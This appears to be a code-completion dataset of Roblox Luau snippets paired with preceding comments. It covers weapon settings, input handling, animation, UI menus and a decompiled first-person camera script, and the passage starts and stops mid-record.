{\n\t\n\t\"285421759\";\n\t\"151130102\";\n\t\"151130171\";\n\t\"285421804\";\n\t\"287769483\";\n\t\"287769415\";\n\t\"285421687\";\n\t\"287769261\";\n\t\"287772525\";\n\t\"287772445\";\n\t\"287772351\";\n\t\"285421819\";\n\t\"287772163\";\n\t\n}\n\nlocal L_95_ = workspace:FindFirstChild(\"BulletModel: \" .. L_2_.Name) or Instance.new(\"Folder\", workspace)\nL_95_.Name = \"BulletModel: \" .. L_2_.Name\n\nlocal L_96_\n\nlocal L_97_ = L_24_.Ammo\nlocal L_98_ = L_24_.StoredAmmo * L_24_.MagCount\n\nlocal L_99_ = L_24_.ExplosiveAmmo\n\nIgnoreList = {\n\tL_3_,\n\tL_95_,\n\tL_5_\n}\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 67 / 720; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "-- services", "completion": "\nlocal ScriptContext = game:GetService(\"ScriptContext\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\n"} +{"prompt": "--[[killEvent.OnClientEvent:connect(function()\n\tKillText.TextTransparency = 0\n\tdelay(2, function()\n\t\tlocal testTween = tweenService:Create(KillText,killInfo,killGoals)\n\t\ttestTween:Play()\n\tend)\nend)]]", "completion": "--\n"} +{"prompt": "-- Services", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n"} +{"prompt": "-- A unique symbolic value.", "completion": "\nexport type Symbol = {\n\ttype: string, -- replace with \"Symbol\" when Luau supports singleton types\n\tname: string\n}\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Werewolf\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(2, 3, 3) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentForward = Vector3.new(-0, -0, -1)\n\t\th.AttachmentPos = Vector3.new(-0, 0.45, -0.1)\n\t\th.AttachmentRight = Vector3.new(1, 0, 0)\n\t\th.AttachmentUp = Vector3.new(0, 1, 0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n\n"} +{"prompt": "--[[\n\tStores Luau type definitions shared across scripts in Fusion.\n]]", "completion": "\n\nexport type Set = {[T]: any}\n\nexport type State = {get: (State) -> T}\nexport type StateOrValue = State | T\n\nexport type Symbol = {\n\ttype: string,\n\tname: string,\n\tkey: string?\n}\n\nexport type Error = {\n\traw: string,\n\tmessage: string,\n\ttrace: string\n}\n\nexport type Dependency = State & {\n\tdependentSet: Set>\n}\n\nexport type Dependent = State & {\n\tupdate: (Dependent) -> boolean,\n\tdependencySet: Set>\n}\n\nexport type Animatable =\n\tnumber |\n\tCFrame |\n\tColor3 |\n\tColorSequenceKeypoint |\n\tDateTime |\n\tNumberRange |\n\tNumberSequenceKeypoint |\n\tPhysicalProperties |\n\tRay |\n\tRect |\n\tRegion3 |\n\tRegion3int16 |\n\tUDim |\n\tUDim2 |\n\tVector2 |\n\tVector2int16 |\n\tVector3 |\n\tVector3int16\n\nreturn nil\n"} +{"prompt": "--[=[\n\t@class Input\n\n\tThe Input package provides access to various user input classes.\n\n\t- [PreferredInput](/api/PreferredInput)\n\t- [Mouse](/api/Mouse)\n\t- [Keyboard](/api/Keyboard)\n\t- [Touch](/api/Touch)\n\t- [Gamepad](/api/Gamepad)\n\n\tReference the desired input modules via the Input package to get started:\n\n\t```lua\n\tlocal PreferredInput = require(Packages.Input).PreferredInput\n\tlocal Mouse = require(Packages.Input).Mouse\n\tlocal Keyboard = require(Packages.Input).Keyboard\n\tlocal Touch = require(Packages.Input).Touch\n\tlocal Gamepad = require(Packages.Input).Gamepad\n\t```\n]=]", "completion": "\n\nreturn {\n\tPreferredInput = require(script.PreferredInput),\n\tMouse = require(script.Mouse),\n\tKeyboard = require(script.Keyboard),\n\tTouch = require(script.Touch),\n\tGamepad = require(script.Gamepad),\n}\n"} +{"prompt": "-- loop to handle timed state transitions and tool animations", "completion": "\nwhile Character.Parent ~= nil do\n\tlocal _, currentGameTime = wait(0.1)\n\tstepAnimate(currentGameTime)\nend\n\n\n"} +{"prompt": "--local MasterControl = require(Player:WaitForChild(\"PlayerScripts\"):WaitForChild(\"ControlScript\"):WaitForChild(\"MasterControl\"))", "completion": "\n"} +{"prompt": "-- services", "completion": "\n\nlocal UserInputService\t= game:GetService(\"UserInputService\")\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\nlocal RunService\t\t= game:GetService(\"RunService\")\nlocal Workspace\t\t\t= game:GetService(\"Workspace\")\nlocal Players\t\t\t= game:GetService(\"Players\")\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 45; -- Default zoom\n\tAimSpeed = 0.23;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 30; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "--connecting the equip, unequip, and mouseClick functions", "completion": "\nscript.Parent.Equipped:connect(onEquipped)\nscript.Parent.Unequipped:connect(onUnequipped)\nscript.Parent.Activated:connect(onActivated)\n\n\n\n\n"} +{"prompt": "--[[\n\tLOCATION GUIDE\n\t1 - HOME\n\t2 - DELETE\n\t3 - MUSIC ID\n\t4 - RADIO\n\t5 - GAME INFO\n\t6 - SETTINGS\n\t7 - POWER MODES\n\t8 - RIDEHEIGHT MODES\n\t9 - CAR INFO\n\t10 - AMBIENT SETTING\n\t\n]]", "completion": "\n\nlocal mod = \"2018 Oaken Tehama TS Plus\"\n\nlocal specs = \"2.0L twincharged, 7 seats\"\n\nlocal transm = \"7-speed DCT\"\n\nlocal inf2 = \"Enlighten V2.0\"\n\nlocal nms = require(script.M)[\"Names\"]\n\nfunction hov(x)\n\tif loca == 3 then\n\t\tif x == 1 then\n\t\t\tinf.Main.Info.L.Text = \"Set/change ID\"\n\t\telseif x == 2 then\n\t\t\tinf.Main.Info.L.Text = \"Play audio\"\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = \"Stop audio\"\n\t\telse inf.Main.Info.L.Text = \"\"\n\t\tend\n\telseif loca == 5 then\n\t\tif x == 1 then\n\t\t\tif workspace.FilteringEnabled == true then\n\t\t\t\tinf.Main.Info.L.Text = \"FE Enabled\"\n\t\t\telse\n\t\t\t\tinf.Main.Info.L.Text = \"FE Disabled\"\n\t\t\tend\n\t\telseif x == 2 then\n\t\t\tif workspace:PGSIsEnabled() then\n\t\t\t\tinf.Main.Info.L.Text = \"PGS Enabled\"\n\t\t\telse\n\t\t\t\tinf.Main.Info.L.Text = \"PGS Disabled\"\n\t\t\tend\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = #(game.Players:GetChildren())..\" Player(s)\"\n\t\telse inf.Main.Info.L.Text = \"\"\n\t\tend\n\telseif loca == 6 then\n\t\tif x == 1 then\n\t\t\tinf.Main.Info.L.Text = \"Adjust power settings\"\n\t\telseif x == 2 then\n\t\t\tinf.Main.Info.L.Text = \"Adjust ride settings\"\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = \"Adjust background ID\"\n\t\telse inf.Main.Info.L.Text = \"\"\n\t\tend\n\telseif loca == 7 then\n\t\tif x == 1 then\n\t\t\tinf.Main.Info.L.Text = \"VALET - lowest power output\"\n\t\telseif x == 2 then\n\t\t\tinf.Main.Info.L.Text = \"ECO - 60% power output\"\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = \"COMFORT - smoother, lower shifting points\"\n\t\telseif x == 4 then\n\t\t\tinf.Main.Info.L.Text = \"SPORT - full power, full revs\"\n\t\telse inf.Main.Info.L.Text = \"\"\n\t\tend\n\telseif loca == 8 then\n\t\tif x == 1 then\n\t\t\tinf.Main.Info.L.Text = \"ECO - higher ride, smoothest dynamics\"\n\t\telseif x == 2 then\n\t\t\tinf.Main.Info.L.Text = \"COMFORT - smoother dynamics\"\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = \"SPORT - performance-based dynamics\"\n\t\telse inf.Main.Info.L.Text = \"\"\n\t\tend\n\telseif loca == 9 then\n\t\tif x == 1 then\n\t\t\tinf.Main.Info.L.Text = mod\n\t\telseif x == 2 then\n\t\t\tinf.Main.Info.L.Text = specs\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = transm\n\t\telseif x == 3 then\n\t\t\tinf.Main.Info.L.Text = inf2\n\t\telse inf.Main.Info.L.Text = \"\"\n\t\tend\n\tend\nend\n\nfunction names()\n\tlocal amt = #(nms[loca])\n\tsel = 1\n\tinf.Main.Select.Hover:TweenPosition(UDim2.new(0, 0, (sel/5)-.2, 0),\"InOut\",\"Quad\",.5,true)\n\tinf.Main.Select.C1.Text = nms[loca][1]\n\tinf.Main.Select.C2.Text = nms[loca][2]\n\tif amt >= 3 then\n\t\tinf.Main.Select.C3.Text = nms[loca][3]\n\telse\n\t\tinf.Main.Select.C3.Text = \"\"\n\tend\n\tif amt >= 4 then\n\t\tinf.Main.Select.C4.Text = nms[loca][4]\n\telse\n\t\tinf.Main.Select.C4.Text = \"\"\n\tend\n\tif amt >= 5 then\n\t\tinf.Main.Select.C5.Text = nms[loca][5]\n\telse\n\t\tinf.Main.Select.C5.Text = \"\"\n\tend\nend\n\nfunction locate(sx,tx)\n\tinf.Main.Select:TweenSize(UDim2.new(-sx, 0, 0.8, 0),\"InOut\",\"Quad\",1,true)\n\tinf.Main.Info:TweenSize(UDim2.new(1-sx, 0, 0.8, 0),\"InOut\",\"Quad\",1,true)\n\tinf.Main.Info.L.Text = tx\nend\n\nlocate(0.6,n)\n\ninf.Back.MouseButton1Click:connect(function()\n\thome()\n\tnames()\n\tinput(false)\nend)\n\nfunction del()\n\thandler:FireServer('delete',game.Players.LocalPlayer.Name)\nend\nfunction home()\n\tloca = 1\n\tmax = 5\n\tlocate(0.6,n)\nend\nfunction delmenu()\n\tloca = 2\n\tmax = 2\n\tlocate(.3,\"Are you sure?\")\nend\n\nfunction idmenu()\n\tloca = 3\n\tlocate(.4,\"\")\n\tmax = 4\nend\n\nfunction preset(n)\n\thandler:FireServer('fm',n)\nend\n\nfunction radio(q,s)\n\tif q == \"play\" then\n\t\thandler:FireServer('updateSong',inf.Music.mg.Input.Text)\n\t\tinput(false)\n\telseif q == \"stop\" then\n\t\thandler:FireServer('pauseSong')\n\t\tinput(false)\n\telseif q == \"set\" then\n\t\tinput(true)\n\tend\nend\n\nfunction light(c)\n\thandler:FireServer('ambient',c)\nend\n\nfunction input(open)\n\tif open == true then\n\t\tinf.Music.mg:TweenPosition(UDim2.new(0, 0, 1.1, 0),\"InOut\",\"Quad\",.5,true)\n\telse\n\t\tinf.Music.mg:TweenPosition(UDim2.new(1, 0, 1.1, 0),\"InOut\",\"Quad\",.5,true)\n\tend\nend\n\ninf.Enter.MouseButton1Click:connect(function()\n\tif loca == 1 then\n\t\tif sel == 1 then\n\t\t\tdelmenu()\n\t\telseif sel == 2 then\n\t\t\tloca = 3\n\t\t\tlocate(.4,\"Set ID\")\n\t\t\tmax = 4\n\t\telseif sel == 3 then\n\t\t\tloca = 4\n\t\t\tlocate(.6,\"\")\n\t\telseif sel == 4 then\n\t\t\tloca = 5\n\t\telseif sel == 5 then\n\t\t\tloca = 6\n\t\t\tlocate(0.36,\"\")\n\t\tend\n\telseif loca == 2 then\n\t\tif sel == 1 then\n\t\t\tdel()\n\t\telseif sel == 2 then\n\t\t\thome()\n\t\tend\n\telseif loca == 3 then\n\t\tif sel == 1 then\n\t\t\tradio(\"set\")\n\t\telseif sel == 2 then\n\t\t\tradio(\"play\")\n\t\telseif sel == 3 then\n\t\t\tradio(\"stop\")\n\t\telseif sel == 4 then\n\t\t\thome()\n\t\tend\n\telseif loca == 4 then\n\t\tif sel == 1 then\n\t\t\tpreset(1)\n\t\telseif sel == 2 then\n\t\t\tpreset(2)\n\t\telseif sel == 3 then\n\t\t\tpreset(3)\n\t\telseif sel == 4 then\n\t\t\tpreset(4)\n\t\telseif sel == 5 then\n\t\t\thome()\n\t\tend\n\telseif loca == 5 then\n\t\tif sel == 4 then\n\t\t\thome()\n\t\tend\n\telseif loca == 6 then\n\t\tif sel == 1 then\n\t\t\tloca = 7\n\t\telseif sel == 2 then\n\t\t\tloca = 8\n\t\telseif sel == 3 then"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = script:FindFirstAncestor(\"MainUI\");\nlocal v2 = require(script.Parent);\nlocal v3 = require(v1.Modules.Spring);\nlocal l__UserInputService__4 = game:GetService(\"UserInputService\");\nlocal l__TweenService__5 = game:GetService(\"TweenService\");\nlocal l__LocalPlayer__6 = game.Players.LocalPlayer;\nlocal l__Humanoid__7 = v2.char:WaitForChild(\"Humanoid\");\nlocal l__HumanoidRootPart__8 = v2.char:WaitForChild(\"HumanoidRootPart\");\nlocal v9 = CFrame.new(0, 0, 0);\nlocal v10 = Vector3.new(0, 0, 0);\nlocal v11 = Vector3.new(0, 0, 0);\nlocal v12 = v3.new(Vector3.new(0, -2.7, -0.25));\nv12:__newindex(\"Damper\", 1);\nv12:__newindex(\"Speed\", 20);\nv2.cam.CameraType = Enum.CameraType.Scriptable;\nlocal v13 = {\n\tAcog = 25, \n\tHoloSight = 15, \n\t[\"\"] = 0\n};\nlocal v14 = Instance.new(\"PointLight\");\nv14.Color = Color3.fromRGB(120, 122, 138);\nv14.Range = 10;\nv14.Brightness = 0.55;\nif v2.platform == \"console\" then\n\tv14.Brightness = 0.7;\n\tpcall(function()\n\t\tgame.Lighting.XBoxColor.Enabled = true;\n\tend);\nend;\nv14.Shadows = false;\nv14.Parent = v2.char:WaitForChild(\"Head\");\ndelay(5, function()\n\tv14.Parent = v2.char:WaitForChild(\"Head\");\nend);\nlocal v15 = RaycastParams.new();\nv15.CollisionGroup = \"NoPlayer\";\nv15.FilterDescendantsInstances = { v2.viewmodel, v2.char };\nl__UserInputService__4.MouseIconEnabled = false;\nlocal v16 = Vector2.new(0, 0);\nv2.update();\nlocal u1 = 0.016666666666666666;\nlocal u2 = v9;\nlocal u3 = v16;\nlocal function u4(p1)\n\tif p1 ~= p1 then\n\t\treturn;\n\tend;\n\tlocal v17 = p1.Magnitude / u1;\n\tif v17 >= 1000 then\n\t\tp1 = p1 * (1000 / v17);\n\tend;\n\tv2.ay_t = math.clamp(v2.ay_t - p1.y, -65, 65);\n\tv2.ax_t = (v2.ax_t - p1.x) % 360;\n\tif v2.camlock ~= nil then\n\t\tv2.camlockedoffset[2] = math.clamp(v2.camlockedoffset[2] - p1.y / 2, -25, 25);\n\t\tv2.camlockedoffset[1] = math.clamp(v2.camlockedoffset[1] - p1.x / 2, -65, 65);\n\telse\n\t\tv2.camlockedoffset = { 0, 0 };\n\tend;\n\tu2 = u2 * (CFrame.Angles(0, math.rad(-p1.x), 0) * CFrame.Angles(math.rad(-p1.y), 0, 0));\n\tv2.bobspring:Impulse(Vector3.new(-p1.x / 1, -p1.y / 1, 0));\nend;\nl__UserInputService__4.InputChanged:connect(function(p2, p3)\n\tif (p2.UserInputType == Enum.UserInputType.MouseMovement or p2.UserInputType == Enum.UserInputType.Touch or p2.KeyCode == Enum.KeyCode.Thumbstick2) and (p3 == false and v2.dead == false or (v2.hrc == true or p2.KeyCode == Enum.KeyCode.Thumbstick2) and v2.dead == true) then\n\t\tlocal v18 = v2.cam.FieldOfView / 90;\n\t\tlocal v19 = Vector2.new(p2.Delta.x * 0.5, p2.Delta.y * 0.5) * 0.8 * v18;\n\t\tif p2.UserInputType == Enum.UserInputType.Touch then\n\t\t\tv19 = Vector2.new(p2.Delta.x * 0.5, p2.Delta.y * 0.5) * 1.6 * v18;\n\t\t\tv2.hrc = true;\n\t\tend;\n\t\tif p2.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\t\tlocal v20 = Vector2.new(p2.Position.x * 0.5, p2.Position.y * -1 * 0.5) * 12 * v18;\n\t\t\tif p2.Position.Magnitude < 0.3 then\n\t\t\t\tv20 = Vector2.new(0, 0);\n\t\t\tend;\n\t\t\tu3 = v20.Unit * math.max(v20.Magnitude - 0.3, 0) * 1.5;\n\t\t\treturn;\n\t\telse\n\t\t\tu4(v19);\n\t\tend;\n\tend;\nend);\nv1.Event_RepositionViewmodel.Event:Connect(function()\n\tv12:__newindex(\"Position\", Vector3.new(0, -3, -0.35));\nend);\nlocal u5 = nil;\nlocal u6 = v10;\nlocal u7 = v11;\ngame[\"Run Service\"]:BindToRenderStep(\"caminit\", 95, function(p4)\n\tv2.cam.CameraType = Enum.CameraType.Scriptable;\n\tif v2.freemouse == true or v2.dead == true and v2.hrc == false then\n\t\tl__UserInputService__4.MouseBehavior = Enum.MouseBehavior.Default;\n\t\tl__UserInputService__4.MouseIconEnabled = true;\n\telse\n\t\tl__UserInputService__4.MouseBehavior = Enum.MouseBehavior.LockCenter;\n\t\tl__UserInputService__4.MouseIconEnabled = false;\n\tend;\n\tif u5 ~= nil then\n\t\tlocal v21 = Vector2.new(u5.Position.x * 0.5, u5.Position.y * -1 * 0.5) * 12 * (v2.cam.FieldOfView / 90);\n\t\tu4(v21.Unit * math.max(v21.Magnitude - 0.25, 0) * 1.1 * p4 * 60);\n\tend;\n\tif v2.camlock ~= nil and ((tick() <= v2.camlock.last or l__Humanoid__7.MoveDirection.Magnitude < 0.75) and v2.camlockHead == false) then\n\t\tv2.ax_t = v2.camlock.x;\n\t\tv2.ay_t = v2.camlock.y;\n\t\tv2.ax = v2.camlock.x;\n\t\tv2.ay = v2.camlock.y;\n\telseif v2.camlock == nil or not v2.camlockHead then\n\t\tif v2.camlock ~= nil then\n\t\t\tgame:GetService(\"ReplicatedStorage\").Bricks.CamLock:FireServer();\n\t\tend;\n\t\tlocal v22 = v2.ax_t - v2.ax;\n\t\tv2.ax = (v2.ax + (math.abs(v22) > 180 and v22 - v22 / math.abs(v22) * 360 or v22) * math.clamp(p4 * 25, 0.01, 1)) % 360;\n\t\tv2.ay = v2.ay + (v2.ay_t - v2.ay) * math.clamp(p4 * 25, 0.01, 1);\n\tend;\n\tlocal v23 = Vector3.new(0, 0.2, 0);\n\tlocal v24 = Vector3.new(0, 0, -0.25);\n\tif v2.crouching == true then\n\t\tv23 = Vector3.new(0, -0.2, 0);\n\tend;\n\tu1 = p4;\n\tu6 = u6 + (v23 - u6) * math.clamp(p4 * 10, 0.01, 1);\n\tu7 = u7 + (v24 - u7) * math.clamp(p4 * 10, 0.01, 1);\n\tv2.fovspring = v2.fovspring + (v2.fovtarget - v2.fovspring) * math.clamp(p4 * 5, 0.01, 1);\n\tv2.az = v2.az + (v2.az_t - v2.az) * math.clamp(p4 * 12, 0.01, 1);\n\tlocal v25 = Vector3.new(0, 0, 0);\n\tif v2.dead == true then\n\t\tlocal v26 = workspace.CurrentRooms:FindFirstChild(game:GetService(\"ReplicatedStorage\").GameData.LatestRoom.Value);\n\t\tif v26 and v2.spectarget == nil then\n\t\t\tv2.basecamcf = v26.RoomStart.CFrame * CFrame.new(0, 5, -9) * CFrame.Angles(0, math.rad((tick() - v2.deathtick) * 15), 0);\n\t\telseif v2.spectarget and (v2.spectarget:IsA(\"Player\") and v2.spectarget.Character) and v2.spectarget.Character:FindFirstChild(\"HumanoidRootPart\") and v2.spectarget.Character:FindFirstChild(\"Humanoid\") and v2.spectarget.Character:FindFirstChild(\"Humanoid\").Health > 0.01 then\n\t\t\tv2.basecamcf = CFrame.new(v2.spectarget.Character:FindFirstChild(\"HumanoidRootPart\").Position) * CFrame.new(0, 1, 0) * CFrame.Angles(0, math.rad(v2.ax), 0) * CFrame.Angles(-0.2617993877991494, 0, 0) * CFrame.new(0, 0, 6);\n\t\tend;\n\telseif v2.stunned == true then\n\t\tlocal l__p__27 = (l__HumanoidRootPart__8.CFrame * CFrame.new(0, 1.45, 0)).p;\n\t\tlocal v28 = RaycastParams.new();\n\t\tv28.CollisionGroup = \"NoPlayer\";\n\t\tv28.FilterDescendantsInstances = { v2.viewmodel, v2.char };\n\t\tlocal v29 = workspace:Raycast(l__p__27, l__HumanoidRootPart__8.CFrame.LookVector * 0.75, v28);\n\t\tif v29 and v29.Position then\n\t\t\tlocal l__Position__30 = v29.Position;\n\t\t\tlocal l__Instance__31 = v29.Instance;\n\t\t\tif l__Position__30 then\n\t\t\t\tv2.basecamcf = l__HumanoidRootPart__8.CFrame * CFrame.new(0, 1.45, -(l__p__27 - l__Position__30)) * CFrame.Angles(math.rad(math.clamp(v2.bobspring.p.Y, -80, 80)), math.rad(math.clamp(v2.bobspring.p.X, -80, 80)), math.rad(math.clamp(v2.bobspring.p.Z, -40, 40)));\n\t\t\tend;\n\t\telse\n\t\t\tv2.basecamcf = l__HumanoidRootPart__8.CFrame * CFrame.new(0, 1.45, -0.75) * CFrame.Angles(math.rad(math.clamp(v2.bobspring.p.Y, -80, 80)), math.rad(math.clamp(v2.bobspring.p.X, -80, 80)), math.rad(math.clamp(v2.bobspring.p.Z, -40, 40)));\n\t\tend;\n\t\tv2.bobspring:__newindex(\"Speed\", 3);\n\telseif v2.camlock ~= nil then\n\t\tv2.basecamcf = (v2.char.Head.CFrame + Vector3.new(0, 0.5, 0)) * CFrame.new(0, 0.15, -0.25) * CFrame.Angles(math.rad(math.clamp(v2.bobspring.p.Y, -80, 80)), math.rad(math.clamp(v2.bobspring.p.X, -80, 80)), math.rad(math.clamp(v2.bobspring.p.Z, -40, 40))) * CFrame.Angles(0, math.rad(v2.camlockedoffset[1]), 0) * CFrame.Angles(math.rad(v2.camlockedoffset[2]), 0, 0);\n\t\tv2.bobspring:__newindex(\"Speed\", 5);\n\telse\n\t\tv2.bobspring:__newindex(\"Speed\", 12);\n\t\tlocal v32 = (v2.char.Head.Position - v2.char.LowerTorso.Position) * Vector3.new(1, 0, 1);\n\t\tv2.basecamcf = CFrame.new(v2.char.Head.Position + v2.char.Head.CFrame.UpVector * 0.2) * CFrame.new(u6) * CFrame.Angles(0, math.rad(v2.ax), 0) * CFrame.new(-v2.az / 40, 0, -0.2) * CFrame.Angles(math.rad(math.clamp(v2.ay + v2.bobspring.Position.Y + v2.spring.p.Y + v2.recoil_spring.Position.Y, -88, 88)), 0, 0) * CFrame.new(u7) * CFrame.Angles(0, 0, math.rad(v2.az / 2)) * CFrame.Angles(0, math.rad(math.clamp(-v2.bobspring.p.X, -20, 20)), math.rad(math.clamp(-v2.bobspring.Position.X, -20, 20)));\n\tend;\n\tif v2.stopcam == false then\n\t\tv2.finalCamCFrame = v2.basecamcf * v2.csgo + v25;\n\t\tv2.cam.FieldOfView = v2.fovspring;\n\tend;\nend);\nlocal function v33()\n\tlocal v34 = {};\n\tfor v35, v36 in pairs((l__UserInputService__4:GetGamepadState(Enum.UserInputType.Gamepad1))) do\n\t\tv34[v36.KeyCode] = v36;\n\tend;\n\tu5 = v34[Enum.KeyCode.Thumbstick2];\n\tprint(u5);\nend;\nl__UserInputService__4.GamepadConnected:Connect(v33);\nif l__UserInputService__4.GamepadEnabled then\n\tv33();\nend;\n"} +{"prompt": "--// Dev Vars", "completion": "\n\tCameraGo = true; -- No touchy\n\tFirstPersonOnly = true; -- SET THIS TO FALSE TO ENABLE THIRD PERSON, TRUE FOR FIRST PERSON ONLY\n\tTPSMouseIcon = 1415957732; -- Image used as the third person reticle\n\t"} +{"prompt": "-- Variables for character joints", "completion": "\n\nlocal neck, shoulder, oldNeckC0, oldShoulderC0 \n\nlocal mobileShouldTrack = true\n"} +{"prompt": "--\t\t\tsetAnimationSpeed(animSpeed)", "completion": "\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nlocal function switchToAnim(anim, animName, transitionTime, humanoid, priority, speed)\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n"} +{"prompt": "--[[\n\tconfigure(config: table): nil\n\tOverrides default configuration options.\n\tThis function can only be called from a server-side Script.\n\tThe possible options are:\n\n\t-- Boolean flag to toggle the Dev Module on/off\n\tenabled = true,\n\n\t-- Table of images to include as art assets\n\tassets = defaultArtAssets,\n\n\t-- Maximum number of artwork that can be placed by each player\n\tquotaPerPlayer = 2,\n\n\t-- Number of rows in the canvas grid\n\trowsPerCanvas = 2,\n\n\t-- Number of columns in the canvas grid\n\tcolsPerCanvas = 5,\n\n\t-- Number of items to skip when paging left and right\n\titemsPerPage = 3,\n\n\t-- Proximity prompt configurations\n\tpromptKeyCode = Enum.KeyCode.E,\n\tpromptRequiresLineOfSight = true,\n\tpromptMaxActivationDistance = 10,\n\tpromptExclusivity = Enum.ProximityPromptExclusivity.OnePerButton,\n\tpromptImage = \"rbxassetid://8076723774\",\n\n\t-- Image for the left arrow (previous page)\n\tleftArrowPageImage = \"rbxassetid://6998633654\",\n\n\t-- Image for the left arrow (previous item)\n\tleftArrowItemImage = \"rbxassetid://8072765021\",\n\n\t-- Image for the right arrow (next page)\n\trightArrowPageImage = \"rbxassetid://6998635824\",\n\n\t-- Image for the right arrow (next item)\n\trightArrowItemImage = \"rbxassetid://8072764852\",\n\n\t-- Padding for canvas\n\tcanvasPaddingLeft = UDim.new(0, 8),\n\tcanvasPaddingRight = UDim.new(0, 8),\n\tcanvasPaddingTop = UDim.new(0, 8),\n\tcanvasPaddingBottom = UDim.new(0, 8),\n\n\t-- Whether page hotkeys are used. If true, nextPageKey and prevPageKey are used to cycle between pages\n\tusePageHotkeys = true,\n\n\t-- Key used to cycle to the next page of art items\n\tnextPageKey = Enum.KeyCode.E,\n\n\t-- Key used to cycle to the next art item\n\tnextItemKey = Enum.KeyCode.Right,\n\n\t-- Key used to cycle to the previous page of art items\n\tprevPageKey = Enum.KeyCode.Q,\n\n\t-- Key used to cycle to the previous art item\n\tprevItemKey = Enum.KeyCode.Left,\n]]", "completion": "\nSurfaceArt.configure({\n\trowsPerCanvas = 2,\n\tcolsPerCanvas = 5,\n\tassets = {\n\t\tBloxyAward = {\n\t\t\tname = \"Bloxy Award\",\n\t\t\tassetId = \"rbxassetid://7322500962\",\n\t\t},\n\t\tRobloxStudioBlue = {\n\t\t\tname = \"Roblox Studio in Blue\",\n\t\t\tassetId = \"rbxassetid://7322508294\",\n\t\t},\n\t},\n\tquotaPerPlayer = 3,\n})\n"} +{"prompt": "--// Connections", "completion": "\nL_1_.Equipped:connect(function()\n\tlocal L_57_ = L_3_:FindFirstChild('Torso')\n\tlocal L_58_ = L_3_:FindFirstChild('Head')\n\tlocal L_59_ = L_3_:FindFirstChild('HumanoidRootPart')\n\t\n\tL_17_ = Instance.new(\"Motor6D\", L_57_)\n\tL_17_.Parent = L_57_\n\tL_17_.Name = \"Clone\"\n\tL_17_.Part0 = L_59_\n\tL_17_.Part1 = L_58_\n\tL_17_.C0 = L_57_:WaitForChild(\"Neck\").C0\t\n\tL_17_.C1 = L_57_:WaitForChild(\"Neck\").C1\n\t"} +{"prompt": "--[[\n\nThis script prevents Blue from colliding with players. Without this script,\nBlue can push players, quite often into lava!\n\nThis script uses collision groups to prevent player/Blue collisions. This allows\nplayers and Blue to still collide with the environment while not colliding\nwith each other.\n\n--]]", "completion": "\n"} +{"prompt": "--[[\nReplaces the colors of a model.\n--]]", "completion": "\nlocal function ReplaceColors(Map,OldColor,NewColor)\n\tfor _,Part in pairs(Map:GetDescendants()) do\n\t\tif Part:IsA(\"BasePart\") and Part.BrickColor == OldColor then\n\t\t\tPart.BrickColor = NewColor\n\t\t\tPart.Material = \"SmoothPlastic\"\n\t\tend\n\tend\nend\n"} +{"prompt": "--click on cheeto and change the AnimationId to whatever animation you made--", "completion": "\n"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal DebrisService = game:GetService('Debris')\nlocal PlayersService = game:GetService('Players')\n\nlocal Rocket = script.Parent\n\nlocal CreatorTag = Rocket:WaitForChild('creator')\nlocal SwooshSound = Rocket:WaitForChild('Swoosh')\n"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.3; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 0.05; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.1; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 0.02; -- How much the camera flicks when aiming\n\t\n\tKickback = 3; -- Upward gun rotation when not aiming\n\tAimKickback = 0.1; -- Upward gun rotation when aiming\n\t"} +{"prompt": "-- Selection", "completion": "\nlocal function 